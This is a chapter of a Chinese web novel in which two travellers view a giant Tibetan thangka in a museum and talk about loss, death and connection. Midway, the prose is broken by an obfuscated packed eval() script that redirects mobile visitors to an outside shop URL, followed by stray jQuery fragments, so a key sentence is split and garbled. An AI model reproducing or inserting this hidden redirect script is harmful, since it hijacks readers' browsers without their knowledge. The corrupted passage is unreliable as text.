文趣网 > 其他小说 > 无事牌 > 15. 第十五章 巨幅唐卡
    “什么意思?”

    崔倾跟着叶应再次走进了电梯,看着她按下了顶层的按钮。

    “说是看唐卡,不如说我想给你说一些话。”

    “什么?”

    “那天在塔尔寺..我给你说的那件事情。你受到影响了吗?”

    崔倾瞳孔一缩,嘴张开又合拢。直到电梯打开他都没能明白自己到底想要说什么。叶应的手指无意间捻了捻,对崔倾的反应并不意外。

    果然是影响到了...

    叶应再次思考与人交往这件事。她不知道现在做的这一切对于崔倾来说是好还是坏。但不论她如何判定,对崔倾的改变却是实打实的。

    崔倾正在被她影响,这是板上钉钉的事实。而自己也正在受着崔倾的影响。

    叶应站在原地,她的眼前是一副巨形的唐卡。博物馆特地空了一整层楼,用蜿蜒的玻璃展柜和无数的灯光展览这副作品。

    “这是你要给我看的东西?”

    崔倾喃喃出声,他的视线则和叶应一样紧紧被面前这巨型的画作吸去目光。他来到青城一周的时间,从未想到自己十分抗拒的博物馆里还有着这样的珍宝。

    或许他更没想到的是,自己的固执己见总能被面前人打破。那些日复一日的平淡生活,因为她的到来变得生动。甚至开始富有传奇色彩。

    崔倾想,自己大概已经对这样的生活上瘾了。

    “对。跟我来吧。”

    崔倾的声音让叶应从深思的泥沼中回神,她迈步走向唐卡的开头。心里却已经知道答案。

    就算改变,她也认了。如果人生中总要有这样的经历,她也会接受的。

    这是叶应第一次主动尝试承担起,与他人生命中的一部分建立连接及深度捆绑的责任。

    “这副唐卡的名字叫《中国藏族文化艺术彩绘大观》。总长618米,上面有唐卡700多幅,堆绣图案3000种。”

    “我记得,堆绣。我们之前看过。”

    “对,就是那个东西。”

    崔倾凑近观看这副巨型画作。即便是潦草扫视,也能够从中体悟到那配色的精妙,线条的神韵。更别说凑近仔细观摩,这让崔倾的心神很快便沉浸在画作中。

    “唐卡是藏文的音译,意思是平坦、展开。一副唐卡里的包含的东西很多,不止是简单的画作。里面有宇宙,有信仰。”

    “我看唐卡的时候,总觉得心里很安定。”

    崔倾笑了笑,对叶应的话做出了自己的回应。

    “嗯。”

    “这些颜色真的很好看。”

    崔倾感叹的说道。之前他只是听说过有这样的文化,但从未亲身体验过。如果不是这次出行,大概他也仍旧只是站在门槛外随意一瞥。

    “这是天然矿石制作的颜料,能够保存很久。”

    “那岂不是很昂贵?”

    崔倾意外的反问。这可是六百多米的唐卡,如果这些宝石都是真的话,这要耗费多少的财力物力,他不用细想都能够明白其中艰难。

    “你说的没错。但这些只是其次。最重要的是这副卷轴里融入了很多的唐卡派别,也倾注了很多画师的心血。”

    “画师们来自不同的地区,不同的民族。凑在一起五年的时间内,只是为了做这一件事情。”

    崔倾看向语气浅淡的叶应,说这些的时候,她的眼睛总是闪亮的。即便是用那样平淡的口吻描述,但那些话从她的口中被说出时,崔倾却似乎能够看见并感受到当时的情景。

    “这幅长卷里糅杂了很多的内容。文化方面就有医药、韵律、辞藻、历算等等。宗教方面更是百花齐放。”

    “在我每次想,人为什么要聚在一起的时候。这副画总是会在我的脑海里跳出来,然后诘问我一些问题。”

    “什么?”

    崔倾对叶应突然吐露心声感到意外,也忍不住对她口中的问题而感到好奇。

    “它会问我,一个人究竟能走多远?一个人究竟能做成多少事?你能明白我的意思吗?就是诸如此类的问题。”

    崔倾点点头,再次看向叶应。

    “以前我会说,我一个人就能够走很远。一个人就能做很多。但当我有一天试图将个人做的事情编织起来的时候,我体验到的感受,就像我第一次看见这副唐卡一样。”

    叶应的声音变得有些低哑。

    “在塔尔寺的时候。我本来只是想带你转转。毕竟那是个旅游景点,大家都来,我带你去也没什么问题。”

    “但我却还是高估了我自己,低估了命运给我开的玩笑。告诉你那些事情,这并非我的本意。”

    叶应蹙起了眉,声音哑的厉害。

    “我不喜欢说自己的以前,也不想把它们作为我与人交往的谈资。可我却在门口遇见了拉姆的父亲。让你知道了我之前的往事。”

    叶应回过身,双眼直视着崔倾。

    “那天你没睡好,为什么?”

    崔倾偏过头去,不想面对这样的问题。沉默的空挡中,崔倾仍旧能够感受到叶应灼热的视线。于是他开口说话,声音却比叶应的更哑。

    “我不想说。你别问了行吗?”

    叶应的眼神闪了闪,就像是一盏忽明忽暗的灯火。崔倾蹙眉,下意识捏住了叶应的手腕,又再次开口。

    “你和我说这些是什么意思?我没说过我不想听。你也没有影响到我..”

    叶应被捏的一痛,却没抽手。只是举起那只被捏住的手腕,在崔倾的眼前晃了晃。又语气坚定的回答。

    “我知道了。”

    崔倾却像是被烫到了一样,缩回了那只捏着叶应手腕的手。又在短暂停滞后,捏住了叶应衣服的一角。

    “给我讲你知道的关于这副唐卡的内容。每一点我都要听,你不能对我有所保留。”

    叶应点点头,边走边给崔倾讲述她知道的一切。可这幅画实在是太长了,内容更是多到无法面面俱到。因此也会有两个人都不知道说什么的时候。

    这时他们就会站在玻璃前,安静的望着那些画作。似乎这样就能与那个画中的世界所连通,体悟其中蕴含的神妙道理与高深佛法。

    他们就这样走遍了这座博物馆的每一个展厅。最后的最后,则站在了一副黑底白字的标语前。上面用汉藏两种字体写了一句话。

    愿我如同虚空

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707029|208171||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    和大地,永远支持一切无边众生的生命。

    崔倾和叶应肩并肩立在这副标语前良久。崔倾的手攥紧了又松开,像是下定了什么决定一样开了口。

    “你知道那天晚上我为什么没睡着吗?”

    “嗯?”

    崔倾那天从塔尔寺回来,脑海中全是叶应讲述的那件事。其实叶应讲的没头没尾,没有细节。只有简短的几个陈述句,笼统的概括了一切。

    可就是那几个句子,便让崔倾感知到了当时的场面。崔倾当时几乎是瞬间,一股痛苦的浪潮便向着他席卷而来,那种密密匝匝的情感让他无法分辨。

    在开车回来的路上,在叶应陷入梦境的夜晚。他都无数次的能够体会到那股滋味。当崔倾明白这样的感受全都是叶应亲身体会时,他便无法阻止自己靠近叶应的想法。

    这是崔倾尚未体验过的,或者未来将要体验到的,那生与死的命题。

    “那天晚上我想,人活着就要经历生老病死。可死亡却是我无法接受的。当时的你又该怎样难过。那些日子又将怎么过去?”

    “你该有多大的勇气才能笑着面对那个大叔。在我们出来之前,你甚至都没有告诉我,他就是拉姆的父亲。”

    “所以你失眠了?”

    “嗯。”

    “为了我的事情,你失眠了。”

    “嗯。”

    叶应不知道自己该怎么回应他。这是第一次,她从别人的身上看见了自己的痛苦。或者说,看见了自己过去的痛苦。

    叶应花了很久,让这个问题成为了过去。可崔倾的出现,却将这个问题再次的摆在了她的面前。也许崔倾关于这件事情的思考会更加艰难。

    就在崔倾蹙眉看向叶应的时候,叶应却将自己的手拢上了他的肩头。温热的温度不断瞬间肩头传来,这让崔倾愣在原地。

    “你知道吗,在佛教的文化中。死亡是一个很特别的事情。”

    “它并不代表着终结,而是一场考验。如果你从那临终的片刻时光中顿悟,你将会觉醒。如果没有,那么生命就将开启下一个轮回。”

    “这件事是从拉姆离开我的时候,我才慢慢明白的。拉姆的父亲也明白这个道理。”

    “我们见面的时候,没有痛苦。只有对拉姆的想念。他的女儿,我的好友。我们站在一起,站在蓝天下,大地上,一起怀念着她。”

    “崔倾,这对于我来说,是一件幸福的事情。”

    崔倾的目光闪了闪,他的声音再次变得有些干涩。

    “可拉姆已经走了。”

    “嗯。”

    “你不难过吗?”

    “难过吧。也不难过。我也会有这么一天的。人的生命是因为会有终结,才显得是那样宝贵。拉姆走了,她想做的事情,没做完的事情,我会接替下来继续做。”

    “你想把自己活成拉姆?”

    “不。我只是想像那副唐卡一样。承接下来那些应该被承接下的东西。你能明白我吗?”

    崔倾低下头,映入眼帘的是叶应那双坚定的眼。崔倾在这样的视线中,有些恍惚。

    再一次,他仿佛感觉自己站在了一座雪山前。